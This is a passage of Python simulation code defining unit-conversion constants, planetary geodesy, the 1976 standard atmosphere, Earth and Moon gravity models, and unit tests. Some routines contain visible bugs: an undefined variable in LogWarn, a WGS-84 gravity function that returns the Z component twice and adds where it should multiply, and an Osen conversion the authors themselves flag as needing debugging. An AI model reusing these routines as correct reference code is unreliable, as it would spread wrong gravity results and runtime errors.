 | lbm          |\n    | slug           | slug         |\n    | degree         | deg          |\n    | radian         | rad          |\n    | knot (nmi/hr)  | kt           |\n    | nondimensional | nd           |\n\n    Attributes:\n        KnotToFps: scale factor to convert knots to feet per second.\n        FpsToKnot: scale factor to convert feet per second to knots.\n        MinToSec: scale factor to convert minutes to seconds.\n        FeetToMeter: scale factor to convert feet to meters.\n        MeterToFeet: scale factor to convert meters to feet.\n        NmToFeet: scale factor to convert nautical miles to feet.\n        FeetToNm: scale factor to convert feet to nautical miles.\n        SqMeterToSqFeet: scale factor to convert square meters to square feet.\n        SqFeetToSqMeter: scale factor to convert square feet to square meters.\n        PoundToNewton: scale factor to convert pounds to Newtons.\n        NewtonToPound: scale factor to convert Newtons to pounds.\n        SlugToKg: scale factor to convert slugs to kilograms.\n        KgToSlug: scale factor to convert kilograms to slugs.\n        Slugft2ToKgm2: scale factor to convert slug-ft2 to kg-m2.\n        Kgm2ToSlugft2: scale factor to convert kg-m2 to slug-ft2.\n        DegToRad: scale factor to convert degrees to radians.\n        RadToDeg: scale factor to convert radians to degrees.\n        MpsToKt: scale factor to convert meters per second to knots.\n        KtToMps: scale factor to convert knots to meters per second.\n    \"\"\"\n    KnotToFps = 1.6878097112860893\n    FpsToKnot = (1.0 / KnotToFps)\n    MinToSec = 60.0\n    FeetToMeter = 0.3048\n    MeterToFeet = (1.0 / FeetToMeter)\n    NmToFeet = 6076.115485564304\n    FeetToNm = (1.0 / NmToFeet)\n    SqMeterToSqFeet = (MeterToFeet*MeterToFeet)\n    SqFeetToSqMeter = 1.0 / SqMeterToSqFeet\n    PoundToNewton = 4.4482216152605\n    NewtonToPound = 1.0 / PoundToNewton\n    SlugToKg = 14.593902937\n    KgToSlug = 1.0 / SlugToKg\n    Slugft2ToKgm2 = 1.3558179618926\n    Kgm2ToSlugft2 = 1.0 / Slugft2ToKgm2\n    DegToRad = math.radians(1.0)\n    RadToDeg = math.degrees(1.0)\n    MpsToKt = 1.94384\n    KtToMps = 0.5144444\n    \n    ImperialToSI = {\n        \"lbf\": PoundToNewton,\n        \"slug\": SlugToKg,\n        \"slugft2\": Slugft2ToKgm2,\n        \"ft\": FeetToMeter,\n        \"ft_s\": FeetToMeter,\n        \"ft2\": SqFeetToSqMeter,\n        \"deg\": DegToRad,\n        \"deg_s\": DegToRad,\n        \"km\": 1000.0,\n        \"km_s\": 1000.0,\n        \"kt\": KtToMps,\n        \"m\": 1,\n        \"m2\": 1,\n        \"nd\": 1\n    }\n    \n    SiToImperial = {\n        \"m\": MeterToFeet,\n        \"m2\": SqMeterToSqFeet,\n        \"rad\": RadToDeg,\n        \"rad_s\": RadToDeg,\n        \"m_s\": MpsToKt,\n        \"n\": NewtonToPound,\n        \"kg\": KgToSlug,\n        \"kgm2\": Kgm2ToSlugft2,\n        \"s\": 1,\n        \"m->ft\": MeterToFeet,\n        \"m_s->ft_s\": MeterToFeet,\n        \"rad->deg\": RadToDeg,\n        \"rad_s->deg_s\": RadToDeg,\n        \"m_s2->ft_s2\": MeterToFeet,\n        \"n->lbf\": NewtonToPound,\n        \"m_s->nmi_h\": MpsToKt\n    }\n    \n    def LogWarn(self, inUnit):\n        \"\"\"Log a warning for unrecognized unit.\n        \n        Args:\n            inUnit: unit string value not recognized.\n        \"\"\"\n        warnStr = units + \" not recognized in ppConvert.  No conversion done.\"\n        logging.warning(warnStr)\n        \n    def SetIC(self, inIC):\n        \"\"\"Convert initial conditions to SI.\n        \n        Args:\n            inIC: initial conditions.\n        \"\"\"\n        print(\"========= SetIC ==============\")\n        icData = {}\n        for key,value in inIC.items():\n            units = value[1].lower()\n            factor = 1\n            if units in self.ImperialToSI:\n                factor = self.ImperialToSI[units]\n            elif units not in self.SiToImperial:\n                self.LogWarn(units)\n            icData[key] = factor * value[0]\n        return icData\n    \n    def ToSI(self, value, inUnits):\n        \"\"\"Convert a value from Imperial to SI units.\n        \n        Args:\n            value: Imperial value to convert.\n            inUnits: string value of the Imperial unit value.\n            \n        Returns:\n            SI value.\n        \"\"\"\n        units = inUnits.lower()\n        factor = 1\n        if units in self.ImperialToSI:\n            factor = self.ImperialToSI[units]\n        elif units not in self.SiToImperial:\n            self.LogWarn(inUnits)\n        return value*factor\n    \n    def ToImperial(self, value, inUnits):\n        \"\"\"Convert a value from SI to Imperial units.\n        \n        Args:\n            value: SI value to convert.\n            inUnits: string value of the SI unit value.\n            \n        Returns:\n            Imperial value.\n        \"\"\"\n        units = inUnits.lower()\n        factor = 1\n        if units in self.SiToImperial:\n            factor = self.SiToImperial[units]\n        elif units in self.ImperialToSI:\n            self.LogWarn(inUnits)\n            \n        convertedValue = []\n        for v in value:\n            convertedValue.append(v*factor)\n        return convertedValue\n    \n    def UnitTest(self):\n        \"\"\"Perform tests to check unit conversions.\"\"\"\n        self.ClassName = \"Convert\"\n        checkData = (\n            (     123.0,         72.876*self.KnotToFps, \"KnotToFps\", 1e-3),\n            (      78.8,          133.0*self.FpsToKnot, \"FpsToKnot\", 1e-3),\n            (     300.0,             5.0*self.MinToSec, \"MinToSec\", 1e-12),\n            (  395.9352,       1299.0*self.FeetToMeter, \"FeetToMeter\", 1e-4),\n            (    1299.0,     395.9352*self.MeterToFeet, \"MeterToFeet\", 1e-4),\n            ( 3967703.4,           653.0*self.NmToFeet, \"NmToFeet\", 0.1),\n            (     653.0,       3967703.4*self.FeetToNm, \"FeetToNm\", 0.1),\n            ( 10.763910,          self.SqMeterToSqFeet, \"SqMeterToSqFeet\", 1e-6),\n            (      13.0,    2.92252*self.PoundToNewton, \"PoundToNewton\", 1e-4),\n            (       1.0, 0.73756215*self.Slugft2ToKgm2, \"Slugft2ToKgm2\", 1e-7),\n            (    54.864,        self.FeetToMeter*180.0, \"FeetToMeters\", 1e-4),\n            (1742.12598,        self.MeterToFeet*531.0, \"MetersToFeet\", 1e-5),\n            (  178.5596, self.SqFeetToSqMeter*1922.0, \"SqFeetToSqMeters\", 1e-4),\n            (   4412.64, self.PoundToNewton*992.0, \"PoundsToNewtons\", 0.01),\n            (21.6930872, self.Slugft2ToKgm2*16.0, \"SlugFt2ToKgM2\", 1e-6),\n            (161.0256, self.ToSI(36.2,\"lbf\"), \"ToSI lbf->N\", 1e-3),\n            (161.0256, self.ToSI(36.2,\"LBf\"), \"ToSI lbf->N\", 1e-3),\n            (105.7538001, self.ToSI(78.0,\"slugft2\"), \"ToSI slugf2->kgm2\", 1e-6),\n            (531.0, self.ToSI(1742.12598,\"ft\"), \"ToSI f->m\", 1e-5),\n            (9.7536, self.ToSI(32.0,\"ft_s\"), \"ToSI fps-mps\", 1e-4),\n            (140.6552, self.ToSI(1514,\"ft2\"), \"ToSI f2-m2\", 1e-4),\n            (math.pi, self.ToSI(180.0,\"deg\"), \"ToSI deg->rad\", 1e-6),\n            (0.25*math.pi, self.ToSI(45.0,\"deg_s\"), \"ToSI dps->rps\", 1e-6),\n            (93200, self.ToSI(93.2,\"km\"), \"ToSI km->m\", 1e-6),\n            (4221, self.ToSI(4.221,\"km_s\"), \"ToSI km_s->m_s\", 1e-6)\n        )\n        \n        self.TestArray(checkData)\n        \n        self.ClassName = \"Convert IC\"\n        icTest = {\n            \"newtonTest\": [36.2, \"lbf\"],\n            \"inertiaTest\": [78.0, \"slugft2\"],\n            \"feetTest\": [1742.12598, \"ft\"],\n            \"fpsTest\": [32.0, \"ft_s\"],\n            \"ft2Test\": [1514, \"ft2\"],\n            \"degTest\": [180, \"deg\"],\n            \"dpsTest\": [45.0, \"deg_s\"],\n            \"kmTest\": [93.2, \"km\"],\n            \"kpsTest\": [4.221, \"km_s\"]\n        }\n        icData = self.SetIC(icTest)\n        self.TestValue(161.0256, icData[\"newtonTest\"], \"lbf->N\", 1e-3)\n        self.TestValue(105.7538001, icData[\"inertiaTest\"], \"slugf2->kgm2\", 1e-6)\n        self.TestValue(531.0, icData[\"feetTest\"], \"f->m\", 1e-5)\n        self.TestValue(9.7536, icData[\"fpsTest\"], \"fps-mps\", 1e-4)\n        self.TestValue(140.6552, icData[\"ft2Test\"], \"f2-m2\", 1e-4)\n        self.TestValue(math.pi, icData[\"degTest\"], \"deg->rad\", 1e-6)\n        self.TestValue(0.25*math.pi, icData[\"dpsTest\"], \"dps->rps\", 1e-6)\n        self.TestValue(93200, icData[\"kmTest\"], \"km->m\", 1e-6)\n        self.TestValue(4221, icData[\"kpsTest\"], \"km_s->m_s\", 1e-6)\n        \n        self.ClassName = \"Convert ToImperial\"\n        \n        fa = self.ToImperial([100, 1000],\"m\")\n        aa = self.ToImperial([100, 1000],\"m2\")\n        da = self.ToImperial([0.5*math.pi, math.pi],\"rad\")\n        dsa = self.ToImperial([1.5*math.pi],\"rad_s\")\n        ka = self.ToImperial([100, 1000],\"m_s\")\n        na = self.ToImperial([25, 250],\"N\")\n        sa = self.ToImperial([16, 160],\"kg\")\n        ga = self.ToImperial([59, 590],\"kgm2\")\n        \n        checkImperial = (\n            (328.084, fa[0], \"m->ft\", 1e-3),\n            (3280.84, fa[1], \"m->ft\", 1e-2),\n            (1076.39, aa[0], \"m2->ft2\", 1e-2),\n            (10763.9, aa[1], \"m2->ft2\", 0.1),\n            (   90.0, da[0], \"rad->deg\", 1e-6),\n            (  180.0, da[1], \"rad->deg\", 1e-6),\n            (  270.0, dsa[0], \"rad_s->deg_s\", 1e-6),\n            (194.384, ka[0], \"m_s->knot\", 1e-3),\n            (1943.84, ka[1], \"m_s->knot\", 1e-2),\n            (5.62022, na[0], \"N->lbf\", 1e-5),\n            (56.2022, na[1], \"N->lbf\", 1e-4),\n            (1.09635, sa[0], \"kg->slug\", 1e-5),\n            (10.9635, sa[1], \"kg->slug\", 1e-4),\n            (43.5161664, ga[0], \"kgm2->slugft2\", 1e-7),\n            (435.161664, ga[1], \"kgm2->slugft2\", 1e-6)\n        )\n        \n        self.TestArray(checkImperial)\n        \n        print(\"Number of Convert failed tests: \", self.FailCount)\n\n###############################################################################\nclass Planet(UnitTest):\n    \"\"\"A base class to describe planets and moons.  \n    \n    A base class that other classes derive for defining planet characteristics.\n    \n    Attributes:\n        GM: the gravity constant.\n        J2: gravity parameter.\n        Latitude: the Latitude position of the planet.\n        Longitude: the Longitude of the planet.\n        Altitude: the MSL altitude \n        RotationRate: the rotational rate (rad/s) of the body.  East rotation \n            is positive.\n        SemiMajor: the semi-major axis of the ellipsoid planet model.\n        Flattening: the flatening parameter.\n        SemiMinor: the semi-minor axis of the ellipsoid planet model. \n            [Calculated]\n        Eccentricity: the eccentricity. [Calculated]\n        EccentricitySquared: the eccentricity squared. [Calculated]\n    \"\"\"\n    \n    GM = 0\n    J2 = 0\n    \n    Latitude = 0\n    Longitude = 0\n    Altitude = 0\n    \n    RotationRate = 0\n    SemiMajor    = 0\n    Flattening   = 0\n    SemiMinor    = 0\n    Eccentricity = 0\n    EccentricitySquared = 0\n    \n    density = 0\n    temperature = 0\n    pressure = 0\n    speedOfSoundMps = 0\n    \n    def CalcSemiMinor(self):\n        \"\"\"Calculate the semi-minor axis based on semi-major and flattening \n        values.\n        \"\"\"\n        self.SemiMinor = self.SemiMajor * ( 1.0 - self.Flattening )\n    \n    def CalcEccentricity(self):\n        \"\"\"Calculate the eccentricity given the semi-major and semi-minor \n        axes.\n        \"\"\"\n        a = self.SemiMajor\n        b = self.SemiMinor\n        self.Eccentricity = (math.sqrt( a * a - b * b ) /  a)\n        self.EccentricitySquared = (self.Eccentricity) ** 2\n    \n    def LlaToPcpf(self):\n        \"\"\"Convert geodetic to ECEF coordinates \"\"\"\n        a  = self.SemiMajor\n        e2 = self.EccentricitySquared\n        sinLat = math.sin( self.Latitude )\n        N = a / math.sqrt( 1.0 - (e2*sinLat*sinLat) )\n\n        cosLat = math.cos( self.Latitude )\n        # set the planet centered, planet fixed (PCPF) x,y,z vector in meters\n        x = (N + self.Altitude) * cosLat * math.cos(self.Longitude)\n        y = (N + self.Altitude) * cosLat * math.sin(self.Longitude)\n        z = (N*(1.0 - e2) + self.Altitude) * sinLat\n        return x, y, z\n    \n    def PcpfToLlaZhu(self, x, y, z):\n        \"\"\"Convert from ECEF coordinates to geodetic using Zhu.\n        \n        A closed form solution with no singularities.\n        \n        J. Zhu. Conversion of earth-centered earth-fixed coordinates to \n        geodetic coordinates. Technical Report IEEE Log NO. T-AES/30/3/1666, \n        IEEE, December 1993.\n        \"\"\"\n        a  = self.SemiMajor\n        b  = self.SemiMinor\n        e  = self.Eccentricity\n        e2 = self.EccentricitySquared\n\n        assert b != 0, \"SemiMinor axis is 0\"\n        ep  = e * a / b\n        ep2 = ep * ep\n        \n        r = math.sqrt( x*x + y*y )\n        F = 54.0 * b*b * z*z\n        G = r*r + (1.0 - e2) * z*z - e2*(a*a - b*b)\n        c = e2*e2*F*r*r/(G*G*G)\n        s = ( 1.0 + c + math.sqrt(c*c + 2.0*c) ) ** (1.0 / 3.0)\n        P = F / ( 3.0*( (s + 1.0/s + 1.0)**2.0 )*G*G )\n        Q = math.sqrt(1.0 + 2.0 * e2*e2 * P)\n        r0 = (-P*e2*r/(1.0 + Q) \n              + math.sqrt( 0.5*a*a*(1.0 + 1.0/Q) \n                          - (P*(1.0-e2)*z*z)/(Q + Q*Q) \n                          - 0.5*P*r*r ))\n        U = math.sqrt( (r-e2*r0)**2.0 + z*z )\n        V = math.sqrt( (r-e2*r0)**2.0 + (1.0 - e2)*z*z )\n        z0 = (b*b*z)/(a*V)\n\n        self.Latitude  = math.atan((z + ep2*z0)/r)\n        self.Longitude = math.atan2(y , x)\n        self.Altitude  = U * ( 1.0 - (b*b)/(a*V) )\n        \n    def PcpfToLlaOsen(self, x, y, z):\n        \"\"\"Convert ECEF to geodetic using Osen.\n        \n        (DO NOT USE; needs debugging)\n        \n        Karl Osen. Accurate Conversion of Earth-Fixed Earth-Centered \n        Coordinates to Geodetic Coordinates. Research Report Norwegian \n        University of Science and Technology. 2017\n        \"\"\"\n        WGS84_INVAA = +2.45817225764733181057e-0014 # 1/(a^2)\n        WGS84_EED2  = +3.34718999507065852867e-0003 # (e^2)/2\n        WGS84_EEEE  = +4.48147234524044602618e-0005 # e^4\n        WGS84_EEEED4 = +1.12036808631011150655e-0005 # (e^4)/4\n        WGS84_P1MEE  = +9.93305620009858682943e-0001 # 1-(e^2)\n        WGS84_P1MEEDAA = +2.44171631847341700642e-0014 # (1-(e^2))/(a^2)\n        WGS84_INVCBRT2 = +7.93700525984099737380e-0001 # 1/(2^(1/3))\n        WGS84_INV3     = +3.33333333333333333333e-0001 # 1/3\n        WGS84_INV6     = +1.66666666666666666667e-0001 # 1/6\n        \n        ww = x * x + y * y\n        m = ww * WGS84_INVAA\n        n = z * z * WGS84_P1MEEDAA\n        mpn = m + n\n        p = WGS84_INV6 * (mpn - WGS84_EEEE)\n        G = m * n * WGS84_EEEED4\n        H = 2 * p * p * p + G\n        \n        C = ((H + G + 2 * math.sqrt(H * G))**WGS84_INV3) * WGS84_INVCBRT2\n        assert C != 0, \"PcpfToLLaOsen C is 0\"\n        i = -WGS84_EEEED4 - 0.5 * mpn\n        P = p * p\n        beta = WGS84_INV3 * i - C - (P / C)\n        k = WGS84_EEEED4 * (WGS84_EEEED4 - mpn)\n        \n        # Compute left part of t\n        t1 = beta * beta - k\n        assert t1 >= 0, \"PcpfToLLaOsen t1 is negative. t1: {0}\".format(t1)\n        t2 = math.sqrt(t1)\n        t3 = t2 - 0.5 * (beta + i)\n        assert t3 >= 0, \"PcpfToLLaOsen t3 is negative\"\n        t4 = math.sqrt(t3)\n        # Compute right part of t\n        t5 = 0.5 * (beta - i)\n        # t5 may accidentally drop just below zero due to numeric turbulence\n        # This only occurs at latitudes close to +- 45.3 degrees\n        t5 = abs(t5)\n        t6 = math.sqrt(t5)\n        t7 = t6 if (m < n) else -t6\n        # Add left and right parts\n        t = t4 + t7\n        # Use Newton-Raphson's method to compute t correction\n        j = WGS84_EED2 * (m - n)\n        g = 2 * j\n        tt = t * t\n        ttt = tt * t\n        tttt = tt * tt\n        F = tttt + 2 * i * tt + g * t + k\n        dFdt = 4 * ttt + 4 * i * t + g;\n        dt = -F / dFdt\n\n        # compute latitude (range -PI/2..PI/2)\n        u = t + dt + WGS84_EED2\n        v = t + dt - WGS84_EED2\n        w = math.sqrt(ww)\n        zu = z * u\n        wv = w * v\n        self.Latitude = math.atan2(zu, wv)\n        \n        # compute altitude\n        assert (u*v) != 0, \"PcpfToLlaOsen (u*v) is 0\"\n        invuv = 1 / (u * v)\n        dw = w - wv * invuv\n        dz = z - zu * WGS84_P1MEE * invuv\n        da = math.sqrt(dw * dw + dz * dz)\n        self.Altitude = -da if (u < 1) else da\n\n        # compute longitude (range -PI..PI)\n        self.Longitude = math.atan2(y, x);\n        \n    def AirData(self, altitude):\n        pass\n    \n    def DynamicPressure(self, altitude, trueAirspeed):\n        # get dynamic pressure:  q = 1/2 rho v^2\n        self.AirData(altitude) \n        \n        dynamicPressure = 0.5 * self.density * trueAirspeed * trueAirspeed\n        \n        return dynamicPressure\n        \n###############################################################################\nclass Earth(Planet):\n    \"\"\"An atmospheric and gravity model for Earth.\"\"\"\n    def __init__(self):\n        self.GM = 3.986004418e14              # GM constant in m3/s2\n        self.J2 = 1.082626684e-3\n        self.RotationRate = 7.292115e-5  # Earth Rotation Rate (rad/sec, East)\n    \n        self.SemiMajor   = 6378137.0          # WGS84 defined\n        self.Flattening  = 1/298.257223563    # WGS84 defined\n        self.CalcSemiMinor()\n        self.CalcEccentricity()\n    \n    def AirData(self, altitude):\n        \"\"\"The 1976 standard atmosphere model.\n        \n        U.S. Standard Atmosphere, 1976, NASA-TM-X-74335\n        \n        The height is geopotential height (Z) in meters above MSL.  The reference \n        for the [US Standard Atmosphere 1976](https://ntrs.nasa.gov/citations/19770009539).  \n        The refernence for the \n        [pressure equation](https://en.wikipedia.org/wiki/Barometric_formula). \n\n        Layer | Height (m) | Pressure (Pa) | Temperature (K) | Temperature Lapse Rate (K/m)\n        :----:|-----------:|:--------------|:----------------|:----------------------------\n        0     | 0          | 101,325       | 288.15          | -0.0065\n        1     | 11,000     | 22,632.1      | 216.65          | 0\n        2     | 20,000     | 5,474.89      | 216.65          | 0.001\n        3     | 32,000     | 868.019       | 228.65          | 0.0028\n        4     | 47,000     | 110.906       | 270.65          | 0\n        5     | 51,000     | 66.9389       | 270.65          | -0.0028\n        6     | 71,000     | 3.95642       | 214.65          | -0.002\n        \n        Input: \n            geometric altitude in meters\n        Output:\n            airDensity, temperature, pressure, speedOfSoundMps\n        \"\"\"\n        # Geopotential Alt (m) table ranges for 1976 US standard atmosphere\n        #      0        1        2        3        4        5        6\n        Z = [0.0, 11000.0, 20000.0, 32000.0, 47000.0, 51000.0, 71000.0]\n\n        # Temperature (K) at start of air layer\n        #          0   11000   20000   32000   47000   51000   71000\n        T  = [288.15, 216.65, 216.65, 228.65, 270.65, 270.65, 214.65]\n\n        # Pressure (Pa) at start air layer\n        #           0     11000    20000   32000   47000  51000 71000\n        P = [101325.0, 22632.10, 5474.89, 868.02, 110.91, 66.94, 3.96]\n\n        # Temperature Gradient (K/m) for the altitude ranges\n        #           0  11000   20000   32000   47000    51000    71000\n        TG = [-6.5e-3,     0, 1.0e-3, 2.8e-3,      0, -2.8e-3, -2.0e-3]\n        \n        radiusEarth = 6356766.0  # Earth radius for geopotential alt conversion\n        p0 = 101325.0            # pressure at sea level (Pa)\n        Rgc  = 287.0528          # Gas constant (N m / kg K)\n        g0 = 9.806645            # gravity at sea level (m / s^2)\n        M = 0.0289644            # molar mass of Earth's air (kg/mol)\n        Rstar = 8.3144598        # universal gas constant [J/(mol·K)]\n        airGamma = 1.4           # gamma value for air\n        \n        # Convert geometric altitude to geopotential as the standard atmosphere \n        # altitude layers are geopotential.\n        z0 = radiusEarth * altitude / (radiusEarth + altitude)\n        \n        # get the index of the atmosphere layer\n        i = -1\n        count = 0\n        for z in Z:\n            if count != 0:\n                if z0 < z and i == -1:\n                    i = count - 1\n            count += 1\n            \n        deltaZ = z0 - Z[i] \n        \n        airTemperature = TG[i] * deltaZ + T[i]\n        airTemperature = airTemperature if (airTemperature > 0.0) else 0\n        \n        airPressure = 0\n        # The pressure is calculated differently depending\n        # on the temperature lapse rate of the air layer. \n        if abs(TG[i]) < 1e-12:\n            airPressure = P[i] * math.exp( (-g0 * M * deltaZ) / (Rstar * T[i]) )\n        else:\n            pe = (-g0 * M) / (Rstar * TG[i])\n            airPressure = P[i] * ((T[i] + TG[i] * deltaZ) / T[i])**pe\n          \n        airDensity = (\n            (airPressure / (Rgc * airTemperature)) if (airTemperature > 0.0) else 0\n        )\n        \n        assert airTemperature >= 0, \"temp: {}, alt: {}\".format(airTemperature, altitude)\n        airSpeedOfSoundMps = math.sqrt( airGamma * Rgc * airTemperature )\n    \n        self.density = airDensity\n        self.temperature = airTemperature\n        self.pressure = airPressure\n        self.speedOfSoundMps = airSpeedOfSoundMps\n        \n        return\n        \n    def GravityConstant(self):\n        \"\"\"Constant gravity value for Earth \"\"\"\n        return 9.80665\n    \n    def GravityWgs84(self, latRad, lonRad, h):\n        \"\"\"The WGS-84 model of Earth gravity \"\"\"\n        a = self.SemiMajor\n        b = self.SemiMinor\n        E = self.Eccentricity\n        sinPhi = math.sin(latRad)\n        sin2Phi = sinPhi**2\n        N = a / math.sqrt(1 - E*E*sin2Phi)\n        cosPhi = math.cos(latRad)\n        cos2Phi = cosPhi**2\n        Pr = (N + h) * cosPhi\n        ge = 9.7803253359\n        gp = 9.8321849378\n        g0 = (a*ge + cos2Phi + b*gp*sin2Phi) / math.sqrt(a*a*cos2Phi + b*b*sin2Phi)\n        f = (a - b) / a\n        w = self.RotationRate\n        m = w*w*a*a*b / self.GM\n        gh = g0*(1 - 2/a * (1 + f + m - 2*f*sin2Phi)*h + (3*h*h)/(a*a))\n        cosLambda = math.cos(lonRad)\n        sinLambda = math.sin(lonRad)\n        #Ghx = -gh * cosPhi\n        GhX = -gh*cosPhi*cosLambda\n        GhY = -gh*cosPhi*sinLambda\n        GhZ = -gh*sinPhi\n        ahc = w*w*Pr\n        AhcX = ahc*cosLambda\n        AhcY = ahc*sinLambda\n        AhcZ = 0\n        \n        GhGX = GhX - AhcX\n        GhGY = GhY - AhcY\n        GhGZ = GhZ - AhcZ\n        \n        return GhGX, GhGZ, GhGZ\n        \n    def GravityJ2(self, x, y, z):\n        \"\"\"The J2 portion of gravity \"\"\"\n        r2 = x*x + y*y + z*z\n        r = math.sqrt(r2)\n        assert r != 0, \"Gravity J2 r is 0\"\n        gmOverR3 = -self.GM / (r**3)\n        j2Term = (1.5 * self.J2) * (self.SemiMajor)**2 / (r**4)\n        z2 = 5.0 * z * z\n        \n        gx = x * gmOverR3 * (1 - j2Term*(z2 - r2))\n        gy = y * gmOverR3 * (1 - j2Term*(z2 - r2))\n        gz = z * gmOverR3 * (1 - j2Term*(z2 - 3*r2))\n        \n        return gx, gy, gz\n        \n    def GravityJ2SL(self, x, y, z):\n        \"\"\"The J2 portion of gravity as defined by Stevens and Lewis \"\"\"\n        r = math.sqrt(x*x + y*y + z*z)\n        assert r != 0, \"Gravity J2 r is 0\"\n        sinPsi2 = (z / r)**2\n        aOverR2 = 1.5 * self.J2 * (self.SemiMajor / r)**2\n        gmOverR2 = -self.GM/(r**2)\n        \n        gx = gmOverR2 * (1 + aOverR2 * (1.0 - 5.0*sinPsi2)) * (x / r)\n        gy = gmOverR2 * (1 + aOverR2 * (1.0 - 5.0*sinPsi2)) * (y / r)\n        gz = gmOverR2 * (1 + aOverR2 * (3.0 - 5.0*sinPsi2)) * (z / r)\n        \n        return gx, gy, gz\n    \n    def GravityR2(self, x, y, z):\n        \"\"\"Newton gravity equation model \"\"\"\n        r2 = x*x + y*y + z*z\n        assert r2 != 0, \"GravityR2 r2 is 0\"\n        return self.GM/r2\n    \n    def UnitTest(self):\n        self.ClassName = \"Earth\"\n        self.TestValue(6356752, self.SemiMinor, \"b\", 1)\n        self.TestValue(8.18191908426e-2, self.Eccentricity, \"eccentricity\", 1e-12)\n        \n        # TODO: fix gravity unit tests\n        #self.TestValue(9.7879, self.GravityJ2(0,0), \"gravity\", 1e-4)\n        #self.TestValue(9.7848, self.GravityJ2(1000,math.radians(12.34)), \"gravity\", 1e-4)\n        #self.TestValue(9.7725, self.GravityJ2(5000,math.radians(24.6621)), \"gravity\", 1e-4)\n        #self.TestValue(9.72, self.GravityJ2(25000,math.radians(45.0)), \"gravity\", 1e-2)\n        #self.TestValue(9.56, self.GravityJ2(75000,math.radians(65.0)), \"gravity\", 1e-2)\n        \n        self.ClassName = \"Earth AirData\"\n        self.AirData(0)\n        self.TestValue(1.225, self.density, \"density at 0m\", 1e-3)\n        self.TestValue(288.15, self.temperature, \"temperature at 0m\", 1e-2)\n        self.TestValue(101325, self.pressure, \"pressure at 0m\", 1)\n        self.TestValue(340.294, self.speedOfSoundMps, \"speed of sound at 0m\", 0.1)\n        \n        self.AirData(2000)\n        self.TestValue(1.00649, self.density, \"density at 2km\", 1e-3)\n        self.TestValue(275.156, self.temperature, \"temperature at 2km\", 1e-2)\n        self.TestValue(79505.1, self.pressure, \"pressure at 2km\", 10)\n        self.TestValue(332.529, self.speedOfSoundMps, \"speed of sound at 2km\", 0.1)\n        \n        self.AirData(5000)\n        self.TestValue(0.736116, self.density, \"density at 5km\", 1e-3)\n        self.TestValue(255.676, self.temperature, \"temperature at 5km\", 1e-2)\n        self.TestValue(54048.8, self.pressure, \"pressure at 5km\", 10)\n        self.TestValue(320.529, self.speedOfSoundMps, \"speed of sound at 5km\", 0.1)\n        \n        self.AirData(12000)\n        self.TestValue(0.310828, self.density, \"density at 12km\", 1e-2)\n        self.TestValue(216.65, self.temperature, \"temperature at 12km\", 1e-2)\n        self.TestValue(19401, self.pressure, \"pressure at 12km\", 10)\n        self.TestValue(295.070, self.speedOfSoundMps, \"speed of sound at 12km\", 0.1)\n        \n        self.AirData(26000)\n        self.TestValue(0.0336882, self.density, \"density at 26km\", 1e-3)\n        self.TestValue(222.544, self.temperature, \"temperature at 26km\", 1e-2)\n        self.TestValue(2188.41, self.pressure, \"pressure at 26km\", 10)\n        self.TestValue(299.128, self.speedOfSoundMps, \"speed of sound at 26km\", 1.0)\n        \n        #self.ClassName = \"Earth AirData Density\"\n        #di = 0  # air density index\n        #self.TestValue(1.225, self.AirData(0)[di], \"0m\", 1e-3)\n        \n        #self.ClassName = \"Earth AirData Temperature\"\n        #ti = 1  # temperature index\n        #self.TestValue(288.15, self.AirData(0)[ti], \"0m\", 1e-2)\n        #self.TestValue(275.156, self.AirData(2000)[ti], \"2km\", 1e-2)\n        #self.TestValue(255.676, self.AirData(5000)[ti], \"5km\", 1e-2)\n        #self.TestValue(216.65, self.AirData(12000)[ti], \"12km\", 1e-2)\n        #self.TestValue(222.544, self.AirData(26000)[ti], \"26km\", 1e-2)\n        \n        #self.ClassName = \"Earth AirData Pressure\"\n        #pi = 2  # pressure index\n        #self.TestValue(101325, self.AirData(0)[pi], \"0m\", 1)\n        #self.TestValue(79505.1, self.AirData(2000)[pi], \"2km\", 10)\n        #self.TestValue(54048.8, self.AirData(5000)[pi], \"5km\", 10)\n        #self.TestValue(19401, self.AirData(12000)[pi], \"12km\", 10)\n        #self.TestValue(2188.41, self.AirData(26000)[pi], \"26km\", 1)\n        \n        #self.ClassName = \"Earth AirData Sound\"\n        #si = 3  # speed of sound index\n        #self.TestValue(340.294, self.AirData(0)[si], \"0m\", 1e-3)\n        \n        self.ClassName = \"Planet Olsen\"\n        self.PcpfToLlaOsen(1191786.0, -5157122.0, 3562840.0)\n        self.TestValue(34.123456, math.degrees(self.Latitude), \"lat\", 1e-6)\n        self.TestValue(-76.987654, math.degrees(self.Longitude), \"lon\", 1e-6)\n        self.TestValue(9000.0, self.Altitude, \"alt\", 1)\n        \n        self.ClassName = \"Planet Zhu\"\n        self.PcpfToLlaZhu(1191786.0, -5157122.0, 3562840.0)\n        self.TestValue(34.123456, math.degrees(self.Latitude), \"lat\", 1e-6)\n        self.TestValue(-76.987654, math.degrees(self.Longitude), \"lon\", 1e-6)\n        self.TestValue(9000.0, self.Altitude, \"alt\", 1)\n        \n        self.ClassName = \"Planet\"\n        self.Latitude = math.radians(34.123456)\n        self.Longitude = math.radians(-76.987654)\n        self.Altitude = 9000.0\n        [x, y, z] = self.LlaToPcpf()\n        self.TestValue(1191786.0, x, \"X\", 1)\n        self.TestValue(-5157122.0, y, \"Y\", 1)\n        self.TestValue(3562840.0, z, \"Z\", 1)\n        \n        print(\"Number of Earth failed tests: \", self.FailCount)\n        \n###############################################################################\nclass Moon(Planet):\n    \"\"\"A simple gravity model of the moon.\n    \n    The reference for the moon parameters is [NESC Academy Presentation]\n    (https://nescacademy.nasa.gov/video/02f47c99e5944e20a31931ce78fd4ea21d).\n    \"\"\"\n    def __init__(self):\n        self.RotationRate = 2.6617072235e-6  # Moon Rotation Rate (rad/sec, East)\n        self.GM = 4.90154449e12\n        self.SemiMajor = 1738140.0\n        self.Flattening  = 1.0 / 800.98618\n        self.CalcSemiMinor()\n        self.CalcEccentricity()\n    \n    def AirData(self, altitude):\n        \"\"\"No atmosphere on the moon.\"\"\"\n        return\n    \n    def Gravity(self, altitude, latRad):\n        \"\"\"Moon gravity model.\"\"\"\n        r = altitude + self.SemiMajor\n        gravity = self.GM/r/r\n        return gravity\n    \n    def UnitTest(self):\n        self.ClassName = \"Moon\"\n        self.TestValue(1.62242, self.Gravity(0,0), \"gravity\", 1e-6)\n        \n        print(\"Number of Moon failed tests: \", self.FailCount)\n        \n###############################################################################\nclass Mars(Planet):\n    \"\"\"A gravity and atmosphere model for Mars.\n\n    The reference for the [Mars atmosphere model]\n    